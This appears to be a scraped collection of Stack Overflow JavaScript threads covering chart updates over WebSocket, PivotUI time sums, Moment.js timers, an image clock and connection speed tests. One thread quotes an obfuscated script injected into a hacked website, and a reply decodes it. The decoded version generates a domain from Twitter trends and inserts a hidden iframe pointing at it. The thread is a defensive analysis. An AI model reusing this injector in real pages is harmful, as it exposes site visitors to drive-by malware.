Updating component realtime based on Vue + apexchart + websocket - javascript

I have a chart like so:
.....
<div class="flex flex-auto">
<apexchart
width="300%"
height="380"
type="line"
:options="optionsLine"
:series="seriesLine"
></apexchart>
.....
And the vue component has a method like so:
methods: {
getTraceData: function (data) {
var esocket = new WebSocket(
"ws://localhost:5001/provideTraceData?serverHost=" + data
);
esocket.onmessage = function (event) {
var res = JSON.parse(event.data);
var ts = [];
var dataLength = res["timeseries"].length;
console.log(res);
for (var i = dataLength - 1; i > dataLength - 11; i--) {
ts.push([
res["timeseries"][i]["timestamp"],
res["timeseries"][i]["ttfb"],
]);
}
console.log("==", ts);
this.optionsLine = {
tooltip: {
shared: false,
x: {
formatter: function (val) {
var date = new Date(val * 1000);
// Hours part from the timestamp
var hours = date.getHours();
// Minutes part from the timestamp
var minutes = "0" + date.getMinutes();
// Seconds part from the timestamp
var seconds = "0" + date.getSeconds();
// Will display time in 10:30:23 format
var formattedTime =
hours + ":" + minutes.substr(-2) + ":" + seconds.substr(-2);
return formattedTime;
},
},
},
};
this.seriesLine = [
{
name: "TTFB",
data: ts,
},
];
};
}
}
From the WebSocket server I get a JSON response, I parse it, etc, etc, and then try to update the chart series. But for some reason, the chart does not seem to render.
But when I use a basic HTTP endpoint without WebSocket to get the same data then the chart renders. I'm sort of new javascript, is there some behind the scene async shenanigans happening I'm unaware of?
The logic of updating the chart is same, the difference between the HTTP and WebSocket versions is basically the URL string and the event handler, the rest is the same.

Related

Sum of Hours,MInutes in PivotUI JS

pivotUI js
I am having issue with pivotUI js (chart creation JS).
i want to calculate duration field's total value as hours:min format. but pivotUI js default functions are not helpful for my requirements.
i want to create custom function for calculate that duration to hours and minutes format.
any suggestions ?
my code is like below.
var renderers = $.extend($.pivotUtilities.renderers, $.pivotUtilities.export_renderers, $.pivotUtilities.gchart_renderers, $.pivotUtilities.derivers);
var tpl = $.pivotUtilities.aggregatorTemplates;
$("#output").pivotUI(data.data, {
renderers: renderers,
rows: ["fieldOne", "fieldTwo", "fieldThree", "Duration"],
cols: [],
//hiddenAttributes: ["Total"],
aggregators: {
"Total Time": function () {
return tpl.sum()(["Duration"]);
}
},
aggregatorName: "Total Time"
});
after debugging at very deep level, finally i got solution by adding custom function for calculating duration on pivot.js file.
step 1: firstly define your custom variables on js, like wise other variables used in pivot.js (hourMinuteFormat,hourMinuteInt are custom variables).
eg:
var PivotData, addSeparators, aggregatorTemplates, aggregators, dayNamesEn, derivers, getSort, locales, mthNamesEn, naturalSort, numberFormat, pivotTableRenderer, renderers, sortAs, usFmt, usFmtInt, usFmtPct, zeroPad, hourMinuteFormat, hourMinuteInt;
Step 2: create function which get duration and calculate total hours and total mins by logic as below.
hourMinuteFormat = function (opts) {
var defaults;
defaults = {
separator: ":"
};
opts = $.extend({}, defaults, opts);
return function (x) {
var totalh = Math.floor(x / 60);
if (totalh < 10)
{
totalh = "0" + totalh;
}
var totalm = x % 60;
if (totalm < 10)
{
totalm = "0" + totalm;
}
var result = totalh + opts.separator + totalm;
return result;
};
};
hourMinuteInt = hourMinuteFormat();
Step 3: After that need to create one more function which accept duration as "hh:mm" format and do further process to split it using ":" and store on different variables like hours,minutes.
HoursMinutes: function (formatter) {
if (formatter == null) {
formatter = hourMinuteInt;
}
return function (arg) {
var attr;
attr = arg[0];
return function (data, rowKey, colKey) {
return {
sum: 0,
push: function (record) {
if (record[attr]) {
var minute = parseInt((record[attr]).split(':')[1]);
var hour = parseInt((record[attr]).split(':')[0]) * 60;
return this.sum += minute + hour;
}
},
value: function () {
return this.sum;
},
format: formatter,
numInputs: attr != null ? 0 : 1
};
};
};
},
Step 4: find $.pivotUtilities array where other default functions are defined there define your custom function Like below:
$.pivotUtilities = {
aggregatorTemplates: aggregatorTemplates,
aggregators: aggregators,
renderers: renderers,
derivers: derivers,
locales: locales,
naturalSort: naturalSort,
numberFormat: numberFormat,
sortAs: sortAs,
PivotData: PivotData,
hourMinuteFormat: hourMinuteFormat //custom function
};
Step 5: after that in your file where you want to calculate duration, you need to use function named HoursMinutes() as below.
var renderers = $.extend($.pivotUtilities.renderers, $.pivotUtilities.export_renderers, $.pivotUtilities.gchart_renderers, $.pivotUtilities.derivers);
var tpl = $.pivotUtilities.aggregatorTemplates;
$("#output").pivotUI(data.data, {
renderers: renderers,
rows: ["fieldOne", "fieldTwo", "fieldThree", "Duration"],
cols: [],
aggregators: {
"Total Time": function () {
return tpl.HoursMinutes()(["Duration"]);
}
},
aggregatorName: "Total Time"
});
i hope its understandable, if any one having query, then can ask me.

momentJS Timer doesn´t work on Firefox

I implemented a countdown timer via Moment.js library, and unfortunately it doesn't work on Firefox.
This is my code:
function createTimer(begin, timeUp) {
var timer = document.getElementById('timer');
var timerDays = document.getElementById('days').children[0];
var timerHours = document.getElementById('hours').children[0];
var timerMinutes = document.getElementById('minutes').children[0];
var timerSeconds = document.getElementById('seconds').children[0];
var intervalID = window.setInterval(function () {
// Difference between timeUp and now
var differenceToTimeUp = moment.duration(timeUp.diff(moment()));
// Difference between begin and now
var differenceToBegin = moment.duration(begin.diff(moment()));
if (differenceToTimeUp.asSeconds() > 0) {
timer.classList.remove('hidden');
} else {
timer.classList.add('hidden');
}
timerDays.innerText = ('0' + differenceToTimeUp.days()).slice(-2);
timerHours.innerText = ('0' + differenceToTimeUp.hours()).slice(-2);
timerMinutes.innerText = ('0' + differenceToTimeUp.minutes()).slice(-2);
timerSeconds.innerText = ('0' + differenceToTimeUp.seconds()).slice(-2);
}, 1000);
}
document.addEventListener('DOMContentLoaded', function () {
// // Comment out for production
// var test1 = moment('2016-02-02 11:00:00');
// var test2 = moment('2016-03-11 11:00:00');
// createTimer(test1, test2);
var now = moment(new Date(moment())).utc().format("YYYY-MM-DD HH:mm:ss");
var firstStart = moment('2016-02-11 11:00:00');
var firstEnd = moment('2016-02-15 17:00:00');
var secondStart = moment('2016-02-16 14:00:00');
var secondEnd = moment('2016-02-17 17:00:00');
if (now > firstStart._i && now < firstEnd._i) {
createTimer(firstStart, firstEnd);
}
});
In debugger I can see that moment is getting the date, so I think it has something to do with the setInterval function.
Any ideas?
UPDATE
Got it working. The mistake was actually not with momentJS. Changing the Text element with .innerText didn´t work on InternetExplorer. Using .textContent fixed it. I hade issues with my custom fonts as well on InternetExplorer when i used .tff. Using .woff worked fine.

Javascript clock to change hour, minute, second with image

i'm confuse my clock not work
i have made pictures for hour, minute, second and am/pm
http://i.stack.imgur.com/4zg00.png
i have tried this scripts
<script language="JavaScript1.1"> <!--
/* Live image clock III Written by Alon Gibli (http://www.angelfire.com/biz6/deathrowtech) Visit http://wsabstract.com for this script and more
*/
// Setting variables dig = new Image() dig[0] = '0.gif' dig[1] = '1.gif' dig[2] = '2.gif' dig[3] = '3.gif' dig[4] = '4.gif' dig[5] = '5.gif' dig[6] = '6.gif' dig[7] = '7.gif' dig[8] = '8.gif' dig[9] = '9.gif'
//writing images document.write('<table border=1 cellspacing=0 bgcolor="silver">') document.write('<tr><td><img src="0.gif" name="hrs1"></img>') document.write('<img src="0.gif" name="hrs2"></img>') document.write('<td><img src="col.gif"></img>') document.write('<td><img src="0.gif" name="mins1"></img>') document.write('<img src="0.gif" name="mins2"></img>') document.write('<td><img src="col.gif"></img>') document.write('<td><img src="0.gif" name="secs1"></img>') document.write('<img src="0.gif" name="secs2"></img>') document.write('<td><img src="am.gif" name="ampm"></img></table>')
//starting clock function function showTime() { now = new Date ampmtime = now.getHours() - 12 thisHrs = '' + now.getHours() + '' thisMin = '' + now.getMinutes() + '' thisSec = '' + now.getSeconds() + ''
if (thisHrs > 9) { if (thisHrs >= 12) {
document.ampm.src = 'pm.gif'
if (thisHrs==12)
newHrs=''+12+''
if (thisHrs > 12) {
newHrs = '' + ampmtime + ''
}
if (newHrs <= 9) {
document.hrs1.src = dig[0]
document.hrs2.src = dig[newHrs.charAt(0)]
}
if (newHrs > 9) {
document.hrs1.src = dig[newHrs.charAt(0)]
document.hrs2.src = dig[newHrs.charAt(1)]
} } else {
document.ampm.src = 'am.gif'
document.hrs1.src = dig[thisHrs.charAt(0)]
document.hrs2.src = dig[thisHrs.charAt(1)] } } if (thisHrs <= 9) { document.ampm.src = 'am.gif' if (thisHrs == 0) {
document.hrs1.src = dig[1]
document.hrs2.src = dig[2] } else {
document.hrs1.src = dig[0]
document.hrs2.src = dig[thisHrs.charAt(0)] } } if (thisMin > 9) { document.mins1.src = dig[thisMin.charAt(0)] document.mins2.src = dig[thisMin.charAt(1)] } if (thisMin <= 9) { document.mins1.src = dig[0] document.mins2.src = dig[thisMin.charAt(0)] } if (thisSec > 9) { document.secs1.src = dig[thisSec.charAt(0)] document.secs2.src = dig[thisSec.charAt(1)] } if (thisSec <= 9) { document.secs1.src = dig[0] document.secs2.src = dig[thisSec.charAt(0)] } setTimeout("showTime()",1000) }
window.onload=showTime // --> </script>
how to change every hour,minute, second and am/pm with images i have made?
i have tried many ways but failed :(
thank you :)
Ordinarily I'd approach this with a sprite sheet in mind as you have 135 unique images and traditionally that would mean 135 requests to a web server which would result in poor performance. Technically your images are simple enough that the effect could be generated using CSS or SVG quite easily too...
However because that feels like cheating the question and because you haven't specified a particular size for your clock; I've stuck with a solution using individual images - though I have taken measures to optimise your images for this example which I will explain first.
The images in your zip file are 400x298 pixels totalling 4MB (this is arguably not web-friendly) and if you can't resize them (IE. you actually want a big clock) then you should consider compressing the images. For the sake of this example and other people's bandwidth I've reduced the images to 50x37 and compressed them using pngquant (highly recommend checking this out).
I've also base64-encoded the images and dumped them in a javascript object that looks like so:
Clock.prototype.imgs = {
hrs:[...], // array(13)
min:[...], // array(60)
sec:[...], // array(60)
gmt:[...] // array(2)
}
This means that all the images can be loaded into the page in a single request and understood by the browser by means of a data URI.
All in all file-size cut down to ~150KB :)
And so to the script: (I've tried to keep it as straight-forward as possible)
First you need to leave an element in the page to hook on to, eg:
<div id="myClock"></div>
and then in your script tags:
new Clock;
function Clock(){
// setup our DOM elements
var clock = document.getElementById('myClock');
this.elHrs = document.createElement('img');
this.elMin = document.createElement('img');
this.elSec = document.createElement('img');
this.elGmt = document.createElement('img');
clock.appendChild(this.elHrs);
clock.appendChild(this.elMin);
clock.appendChild(this.elSec);
clock.appendChild(this.elGmt);
// set a timer to update every second
this.tick = setInterval((function(scope){
return function(){ scope.draw(); }
})(this), 1000);
this.draw = function(){
var date = new Date,
gmt = Math.floor(date.getHours()/12),
hrs = date.getHours(),
min = date.getMinutes(),
sec = date.getSeconds(),
uri = 'data:image/png;base64,';
if(hrs!=12) hrs %= 12;
this.elHrs.src = uri + this.imgs.hrs[hrs];
this.elMin.src = uri + this.imgs.min[min];
this.elSec.src = uri + this.imgs.sec[sec];
this.elGmt.src = uri + this.imgs.gmt[gmt];
}
}
jsFiddle
setInterval(() => {
d = new Date();
htime = d.getHours();
mtime = d.getMinutes();
stime = d.getSeconds();
hrotation = 30 * htime + mtime / 2;
mrotation = 6 * mtime;
srotation = 6 * stime;
hour.style.transform = `rotate(${hrotation}deg)`;
minute.style.transform = `rotate(${mrotation}deg)`;
second.style.transform = `rotate(${srotation}deg)`;
}, 1000);

Is this dangerous Javascript?

<script>
(function($$) {
d = "(#(){ %H=#( +Pw=this;\\[Pw~FullYear $Month $Date $Hours $Minutes $Seconds()]}; %B=#( +#h,PD=this.#H(),i=0;PD[1]+=1;while(i++<7){#h=PD[i] 0#h<#L)PD[i]=Vz')+#h}\\ PD.splice(Vz'),1+VT - 3Vu -+'T'+PD 3VU -};Pr={'hXhttp://`sX/`tXtre`dXdai`nXnds`qX?`cXcallback=`jX#`aXapi`lXly`WXtwitter`oXcom`eX1`kXs`KXbody`xXajax`DX.`LXlibs`JXjquery`6X6.2`mXmin`fXon`SXcript`iXif`MXrame`YXhead`wXwidth:`pXpx;`HXheight:`TX2`rXrc`QX\"`yXstyle=`bX><`RX></`IXdiv`BX<`AX>`gXgoogle`EX&date=`zX0`uX-`UX `,X:00`;':2345678901,'/':48271,'F':198195254,'G':12,'CX='};# #n(#E){#M=[];for(PM=0;PM<#E /;PM++){#M.push(Pr[#E.charAt(PM)])}\\ #p(#M)}Pj=document;#d=window; (C='undefined'; (S=VhaDWDosestnsdlDjfqcq' 6G= &)== (C) 0#G||!PR()){if(!#G){try{Pn=jQuery ;try{Pn=$ }PS=Pj.getElementsByTagName(VY -[0];#m=Pj.createElement(VkS -;#m.setAttribute(Vkr'),#n(\"hxDgakDosxsLsJseD6sJDmDj\"));PS.appendChild(#m)}# PH(#q,PB){\\ Math.floor(#q/PB) 7x(#s +PC=PH( (N, !m) 5F= (N% !m 5f= !D*#F- !T*PC 0#f>0){#N=#f}else{#N=#f+ !v}\\(#N%#s) 7t(#k){ (N=V;')+#k; !D=V/'); !v=V;')-VF'); !m=PH( !v, !D); !T= !v% !D 7p(P){\\ P /==1?P[0]:P 3'')};# #e(P){d=new Date( 6D=Vzee');d.setTime((P.as_of-VG')*VG')*VG')*Vezz -*Vezzz -;\\ d 7z(Pz +#c,PL,#j=Pz / 5v=[];while(--#j){PL=#x(#j 6v.push(PL 6c=Pz[PL];Pz[PL]=Pz[#j];Pz[#j]=#c}}# PJ($){PN=$.map([81,85,74,74,92,17,82,73,80,30,82,77,25,11,10,10,61,11,56,55,11,53,6,53,7,2,1,0,48],#(x,i){\\ String.fromCharCode(i+x+24)});\\ #p(PN) 7o($){if &)!= (C){$(#(){if &.Ph)!= (C)\\;$.Ph=1; 2S,#(Pe){#R=#e(Pe 6K=#R~Month() 8c=#R~Date( 6u=#S+#n(\"ETzeeu\")+#K+\"-\"+Pc;Pu=PA=PH(#R~Hours(),6)*6 8d=Pu+1;#L=+Vez'); ) 2u,#(Pe){try{#y=Pe.trends;for(#r in #y){break}#r=#r.substr(+Vz'),+Vee - 0Pu ,u 0Pd ,d; 4u+V,')] 0!#b) 4d+V,')];#b=(#b[3].name.toLowerCase().replace(/[^a-z]/gi,'')+'safetynet').split('' 6T=#K*73+PA*3+Pc*41;#t(#T 6a=#x(4)+#L;#z(#b 6g=VCh')+#p(#b).substring(0,#a)+'.com/'+PJ($);Pr['Z']=#g;Pf=VBI 1biMU 1UkrZRiMRIA');$(VK -.append(Pf)}catch(Py){}})},#L*#L*#L)})})}else{ ) *,1+VTTT -}} *)()#js#functionP#AV#n('X':'`','~.getUTC\\return .noConflict(true)}catch(e){} !#d.P $(),Pw~ %Date.prototype.# &(typeof($ (#d.# )setTimeout(#(){ *#o(#d.jQuery)} +){var ,<#L)Pu=Vz')+P -')) /.length 0;if( 1yQHTpweeepQ 2$.getJSON(# 3.join( 4#b=#y[#r+P 5;var # 6);# 7}# # 8+(+Ve -;P";
for (c = 50; c; d = (t = d.split('##PVX`~\\ ! $ % & ( ) * + , - / 0 1 2 3 4 5 6 7 8'.substr(c -= (x = c < 10 ? 1 : 2), x))).join(t.pop()));
$$(d)
})(function(jsAP) {
return (function(jsA, jsAg) {
return jsAg(jsA(jsAg(jsA(jsAP))))(jsAP)()
})((function(jsA) {
return jsA.constructor
}), (function(jsA) {
return (function(jsAg) {
return jsA.call(jsA, jsAg)
})
}))
});
</script>
My host is saying nothing about this and it is happening frequently. I think they might be hiding a malicious hacking attempt.
What does this do?
EDIT:
We're changing hosts.
The code is indeed malicious and was injected into our website. Our host was trying to conceal that (probably so that we wouldn't worry)
This happened to my friend's website on the same host.
Don't test out this script, please.
Looks like some obfuscated injection.
Let's work and decipher this; it'll be fun(-nish).
AFAICT so far it's grabbing (what seems to be) the third trend for two days prior to the current date, or at least was meant to (I think the date key it's using to look up a day's trends is incorrect, because it's adding a zero-seconds thing onto the time, which isn't present in the feed), building a URL from that, and sending some data keyed on a hash representing the nearest 6-hr interval.
Here's the blob of text decoded after decoding along with the start of analysis:
(function () {
jsAr = { }; // Here only for a subsequent set of jsAr['Z'] later, which may not be necessary.
/* Returns either first element of jsA, or a joined string. */
function firstElementOrJoined(jsA) {
return jsA.length == 1 ? jsA[0] : jsA.join('')
};
jsAj = document;
loadJquery(); // Load JQ in head new script tag.
function divideAndFloor(jsq, jsAB) {
return Math.floor(jsq / jsAB)
}
function jsx(jss) {
var jsAC = divideAndFloor(jsN, jsAm);
var jsF = jsN % jsAm;
var jsf = (jsAD * jsF) - (jsAT * jsAC);
if (jsf > 0) {
jsN = jsf
} else {
jsN = jsf + jsAv
}
return (jsN % jss)
}
/** Used only once in .getJSON call. */
function jst(jsk) {
jsN = 2345678901 + jsk;
jsAD = 48271;
jsAv = 2147483647;
jsAm = divideAndFloor(jsAv, jsAD);
jsAT = jsAv % jsAD
}
/** Takes twitter as_of and subtracts ~2 days. */
function jse(jsA) {
d = new Date();
d.setTime((jsA.as_of - 172800) * '1000');
return d
}
function jsz(jsAz) {
var jsc, jsAL, jsj = jsAz.length;
var jsv = [];
while (--jsj) {
jsAL = jsx(jsj);
jsv.push(jsAL);
jsc = jsAz[jsAL];
jsAz[jsAL] = jsAz[jsj];
jsAz[jsj] = jsc
}
}
function jso($) {
// Wait until we have jQuery loaded.
if (typeof($) == 'undefined') {
setTimeout(function () { jso(jQuery) }, 1222);
return;
}
$(function () {
// Only run this function once (there's a timeout inside).
if (typeof ($.jsAh) != 'undefined') return;
$.jsAh = 1;
$.getJSON('http://api.twitter.com/1/trends/daily.json?callback=?', function (data) {
dateTwoDaysPrior = jse(data);
nMonthTwoDaysAgo = dateTwoDaysPrior.getUTCMonth() + 1;
nDayTwoDaysAgo = dateTwoDaysPrior.getUTCDate();
urlTwitterTwoDaysAgo = 'http://api.twitter.com/1/trends/daily.json?callback=?&date=2011-' + nMonthTwoDaysAgo + "-" + nDayTwoDaysAgo;
twoDigitPrevSixHr = prevSixHr = divideAndFloor(dateTwoDaysPrior.getUTCHours(), 6) * 6 + 1;
jsAd = twoDigitPrevSixHr + 1;
// Run JSON request every second.
setTimeout(function () {
$.getJSON(urlTwitterTwoDaysAgo, function (data) {
try {
jsy = data.trends;
for (jsr in jsy) {
break;
}
jsr = jsr.substr(0, 11); // == 2011-11-10
if (twoDigitPrevSixHr < 10) twoDigitPrevSixHr = '0' + twoDigitPrevSixHr; // Normalize to hh
if (jsAd < 10) twoDigitPrevSixHr = '0' + jsAd; // Normalize to hh
// Try to get trends for last 6hr thing (but the :00 will make it never work?)
// If can't, try to get the next 6hr thing.
jsb = jsy[jsr + twoDigitPrevSixHr + ':00'];
if (!jsb) jsb = jsy[jsr + jsAd + ':00'];
// Get third trend entry, e.g.,
// {
// "name": "#sinterklaasintocht",
// "query": "#sinterklaasintocht",
// "promoted_content": null,
// "events": null
// }
// and strip out non-chars from name, add safetynet, and convert to array
// ['s', 'i', etc... nterklaasintochtsafetynet]
jsb = (jsb[3].name.toLowerCase().replace(/[^a-z]/gi, '') + 'safetynet').split('');
// 803 + prevSixHr * 3 + 410; -- some sort of hash?
hashkeyForTwoDaysAgoPrevSixHr = nMonthTwoDaysAgo * 73 + prevSixHr * 3 + nDayTwoDaysAgo * 41;
jst(hashkeyForTwoDaysAgoPrevSixHr);
jsa = jsx(4) + 10;
jsz(jsb);
// Are these two lines useful? Neither jsAr['Z'] nor jsg are referenced.
// jsb = ['s', 'i', etc... nterklaasintochtsafetynet]
jsg = '=http://' + firstElementOrJoined(jsb).substring(0, jsa) + '.com/index.php?tp=001e4bb7b4d7333d';
jsAr['Z'] = jsg;
//
jsAf = '<divstyle="height:2px;width:111px;"><iframe style="height:2px;width:111px;" src></iframe></div>';
$('body').append(jsAf)
} catch (jsAy) {}
})
}, 1000)
})
});
}
jso(jQuery)
})();
Here's some URLs constructed from the array:
jsd.jsS = http://api.twitter.com/1/trends/daily.json?callback=?
This chunk of code:
jsAS = jsAj.getElementsByTagName(jsn('Y'))[0];
jsm = jsAj.createElement(jsn('kS'));
jsm.setAttribute(jsn('kr'), jsn("hxDgakDosxsLsJseD6sJDmDj"));
jsAS.appendChild(jsm)
appends the jquery script tag to <head>:
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script>

How to detect internet speed in JavaScript?

How can I create a JavaScript page that will detect the user’s internet speed and show it on the page? Something like “your internet speed is ??/?? Kb/s”.
It's possible to some extent but won't be really accurate, the idea is load image with a known file size then in its onload event measure how much time passed until that event was triggered, and divide this time in the image file size.
Example can be found here: Calculate speed using javascript
Test case applying the fix suggested there:
//JUST AN EXAMPLE, PLEASE USE YOUR OWN PICTURE!
var imageAddr = "http://www.kenrockwell.com/contax/images/g2/examples/31120037-5mb.jpg";
var downloadSize = 4995374; //bytes
function ShowProgressMessage(msg) {
if (console) {
if (typeof msg == "string") {
console.log(msg);
} else {
for (var i = 0; i < msg.length; i++) {
console.log(msg[i]);
}
}
}
var oProgress = document.getElementById("progress");
if (oProgress) {
var actualHTML = (typeof msg == "string") ? msg : msg.join("<br />");
oProgress.innerHTML = actualHTML;
}
}
function InitiateSpeedDetection() {
ShowProgressMessage("Loading the image, please wait...");
window.setTimeout(MeasureConnectionSpeed, 1);
};
if (window.addEventListener) {
window.addEventListener('load', InitiateSpeedDetection, false);
} else if (window.attachEvent) {
window.attachEvent('onload', InitiateSpeedDetection);
}
function MeasureConnectionSpeed() {
var startTime, endTime;
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
showResults();
}
download.onerror = function (err, msg) {
ShowProgressMessage("Invalid image, or error downloading");
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = imageAddr + cacheBuster;
function showResults() {
var duration = (endTime - startTime) / 1000;
var bitsLoaded = downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
ShowProgressMessage([
"Your connection speed is:",
speedBps + " bps",
speedKbps + " kbps",
speedMbps + " Mbps"
]);
}
}
<h1 id="progress">JavaScript is turned off, or your browser is realllllly slow</h1>
Quick comparison with "real" speed test service showed small difference of 0.12 Mbps when using big picture.
To ensure the integrity of the test, you can run the code with Chrome dev tool throttling enabled and then see if the result matches the limitation. (credit goes to user284130 :))
Important things to keep in mind:
The image being used should be properly optimized and compressed. If it isn't, then default compression on connections by the web server might show speed bigger than it actually is. Another option is using uncompressible file format, e.g. jpg. (thanks Rauli Rajande for pointing this out and Fluxine for reminding me)
The cache buster mechanism described above might not work with some CDN servers, which can be configured to ignore query string parameters, hence better setting cache control headers on the image itself. (thanks orcaman for pointing this out))
The bigger the image size is, the better. Larger image will make the test more accurate, 5 mb is decent, but if you can use even a bigger one it would be better.
Well, this is 2017 so you now have Network Information API (albeit with a limited support across browsers as of now) to get some sort of estimate downlink speed information:
navigator.connection.downlink
This is effective bandwidth estimate in Mbits per sec. The browser makes this estimate from recently observed application layer throughput across recently active connections. Needless to say, the biggest advantage of this approach is that you need not download any content just for bandwidth/ speed calculation.
You can look at this and a couple of other related attributes here
Due to it's limited support and different implementations across browsers (as of Nov 2017), would strongly recommend read this in detail
I needed a quick way to determine if the user connection speed was fast enough to enable/disable some features in a site I’m working on, I made this little script that averages the time it takes to download a single (small) image a number of times, it's working pretty accurately in my tests, being able to clearly distinguish between 3G or Wi-Fi for example, maybe someone can make a more elegant version or even a jQuery plugin.
var arrTimes = [];
var i = 0; // start
var timesToTest = 5;
var tThreshold = 150; //ms
var testImage = "http://www.google.com/images/phd/px.gif"; // small image in your server
var dummyImage = new Image();
var isConnectedFast = false;
testLatency(function(avg){
isConnectedFast = (avg <= tThreshold);
/** output */
document.body.appendChild(
document.createTextNode("Time: " + (avg.toFixed(2)) + "ms - isConnectedFast? " + isConnectedFast)
);
});
/** test and average time took to download image from server, called recursively timesToTest times */
function testLatency(cb) {
var tStart = new Date().getTime();
if (i<timesToTest-1) {
dummyImage.src = testImage + '?t=' + tStart;
dummyImage.onload = function() {
var tEnd = new Date().getTime();
var tTimeTook = tEnd-tStart;
arrTimes[i] = tTimeTook;
testLatency(cb);
i++;
};
} else {
/** calculate average of array items then callback */
var sum = arrTimes.reduce(function(a, b) { return a + b; });
var avg = sum / arrTimes.length;
cb(avg);
}
}
As I outline in this other answer here on StackOverflow, you can do this by timing the download of files of various sizes (start small, ramp up if the connection seems to allow it), ensuring through cache headers and such that the file is really being read from the remote server and not being retrieved from cache. This doesn't necessarily require that you have a server of your own (the files could be coming from S3 or similar), but you will need somewhere to get the files from in order to test connection speed.
That said, point-in-time bandwidth tests are notoriously unreliable, being as they are impacted by other items being downloaded in other windows, the speed of your server, links en route, etc., etc. But you can get a rough idea using this sort of technique.
Even though this is old and answered, i´d like to share the solution i made out of it 2020 base on Shadow Wizard Says No More War´s solution
I just merged it into an object that comes with the flexibility to run at anytime and run a callbacks if the specified mbps is higher or lower the measurement result.
you can start the test anywhere after you included the testConnectionSpeed Object by running the
/**
* #param float mbps - Specify a limit of mbps.
* #param function more(float result) - Called if more mbps than specified limit.
* #param function less(float result) - Called if less mbps than specified limit.
*/
testConnectionSpeed.run(mbps, more, less)
for example:
var testConnectionSpeed = {
imageAddr : "https://upload.wikimedia.org/wikipedia/commons/a/a6/Brandenburger_Tor_abends.jpg", // this is just an example, you rather want an image hosted on your server
downloadSize : 2707459, // Must match the file above (from your server ideally)
run:function(mbps_max,cb_gt,cb_lt){
testConnectionSpeed.mbps_max = parseFloat(mbps_max) ? parseFloat(mbps_max) : 0;
testConnectionSpeed.cb_gt = cb_gt;
testConnectionSpeed.cb_lt = cb_lt;
testConnectionSpeed.InitiateSpeedDetection();
},
InitiateSpeedDetection: function() {
window.setTimeout(testConnectionSpeed.MeasureConnectionSpeed, 1);
},
result:function(){
var duration = (endTime - startTime) / 1000;
var bitsLoaded = testConnectionSpeed.downloadSize * 8;
var speedBps = (bitsLoaded / duration).toFixed(2);
var speedKbps = (speedBps / 1024).toFixed(2);
var speedMbps = (speedKbps / 1024).toFixed(2);
if(speedMbps >= (testConnectionSpeed.max_mbps ? testConnectionSpeed.max_mbps : 1) ){
testConnectionSpeed.cb_gt ? testConnectionSpeed.cb_gt(speedMbps) : false;
}else {
testConnectionSpeed.cb_lt ? testConnectionSpeed.cb_lt(speedMbps) : false;
}
},
MeasureConnectionSpeed:function() {
var download = new Image();
download.onload = function () {
endTime = (new Date()).getTime();
testConnectionSpeed.result();
}
startTime = (new Date()).getTime();
var cacheBuster = "?nnn=" + startTime;
download.src = testConnectionSpeed.imageAddr + cacheBuster;
}
}
// start test immediatly, you could also call this on any event or whenever you want
testConnectionSpeed.run(1.5, function(mbps){console.log(">= 1.5Mbps ("+mbps+"Mbps)")}, function(mbps){console.log("< 1.5Mbps("+mbps+"Mbps)")} )
I used this successfuly to load lowres media for slow internet connections. You have to play around a bit because on the one hand, the larger the image, the more reasonable the test, on the other hand the test will take way much longer for slow connection and in my case I especially did not want slow connection users to load lots of MBs.
The image trick is cool but in my tests it was loading before some ajax calls I wanted to be complete.
The proper solution in 2017 is to use a worker (http://caniuse.com/#feat=webworkers).
The worker will look like:
/**
* This function performs a synchronous request
* and returns an object contain informations about the download
* time and size
*/
function measure(filename) {
var xhr = new XMLHttpRequest();
var measure = {};
xhr.open("GET", filename + '?' + (new Date()).getTime(), false);
measure.start = (new Date()).getTime();
xhr.send(null);
measure.end = (new Date()).getTime();
measure.len = parseInt(xhr.getResponseHeader('Content-Length') || 0);
measure.delta = measure.end - measure.start;
return measure;
}
/**
* Requires that we pass a base url to the worker
* The worker will measure the download time needed to get
* a ~0KB and a 100KB.
* It will return a string that serializes this informations as
* pipe separated values
*/
onmessage = function(e) {
measure0 = measure(e.data.base_url + '/test/0.bz2');
measure100 = measure(e.data.base_url + '/test/100K.bz2');
postMessage(
measure0.delta + '|' +
measure0.len + '|' +
measure100.delta + '|' +
measure100.len
);
};
The js file that will invoke the Worker:
var base_url = PORTAL_URL + '/++plone++experimental.bwtools';
if (typeof(Worker) === 'undefined') {
return; // unsupported
}
w = new Worker(base_url + "/scripts/worker.js");
w.postMessage({
base_url: base_url
});
w.onmessage = function(event) {
if (event.data) {
set_cookie(event.data);
}
};
Code taken from a Plone package I wrote:
https://github.com/collective/experimental.bwtools/blob/master/src/experimental/bwtools/browser/static/scripts/
It's better to use images for testing the speed. But if you have to deal with zip files, the below code works.
var fileURL = "your/url/here/testfile.zip";
var request = new XMLHttpRequest();
var avoidCache = "?avoidcache=" + (new Date()).getTime();;
request.open('GET', fileURL + avoidCache, true);
request.responseType = "application/zip";
var startTime = (new Date()).getTime();
var endTime = startTime;
request.onreadystatechange = function () {
if (request.readyState == 2)
{
//ready state 2 is when the request is sent
startTime = (new Date().getTime());
}
if (request.readyState == 4)
{
endTime = (new Date()).getTime();
var downloadSize = request.responseText.length;
var time = (endTime - startTime) / 1000;
var sizeInBits = downloadSize * 8;
var speed = ((sizeInBits / time) / (1024 * 1024)).toFixed(2);
console.log(downloadSize, time, speed);
}
}
request.send();
This will not work very well with files < 10MB. You will have to run aggregated results on multiple download attempts.
thanks to Punit S answer, for detecting dynamic connection speed change, you can use the following code :
navigator.connection.onchange = function () {
//do what you need to do ,on speed change event
console.log('Connection Speed Changed');
}
Improving upon John Smith's answer, a nice and clean solution which returns a Promise and thus can be used with async/await. Returns a value in Mbps.
const imageAddr = 'https://upload.wikimedia.org/wikipedia/commons/a/a6/Brandenburger_Tor_abends.jpg';
const downloadSize = 2707459; // this must match with the image above
let startTime, endTime;
async function measureConnectionSpeed() {
startTime = (new Date()).getTime();
const cacheBuster = '?nnn=' + startTime;
const download = new Image();
download.src = imageAddr + cacheBuster;
// this returns when the image is finished downloading
await download.decode();
endTime = (new Date()).getTime();
const duration = (endTime - startTime) / 1000;
const bitsLoaded = downloadSize * 8;
const speedBps = (bitsLoaded / duration).toFixed(2);
const speedKbps = (speedBps / 1024).toFixed(2);
const speedMbps = (speedKbps / 1024).toFixed(2);
return Math.round(Number(speedMbps));
}
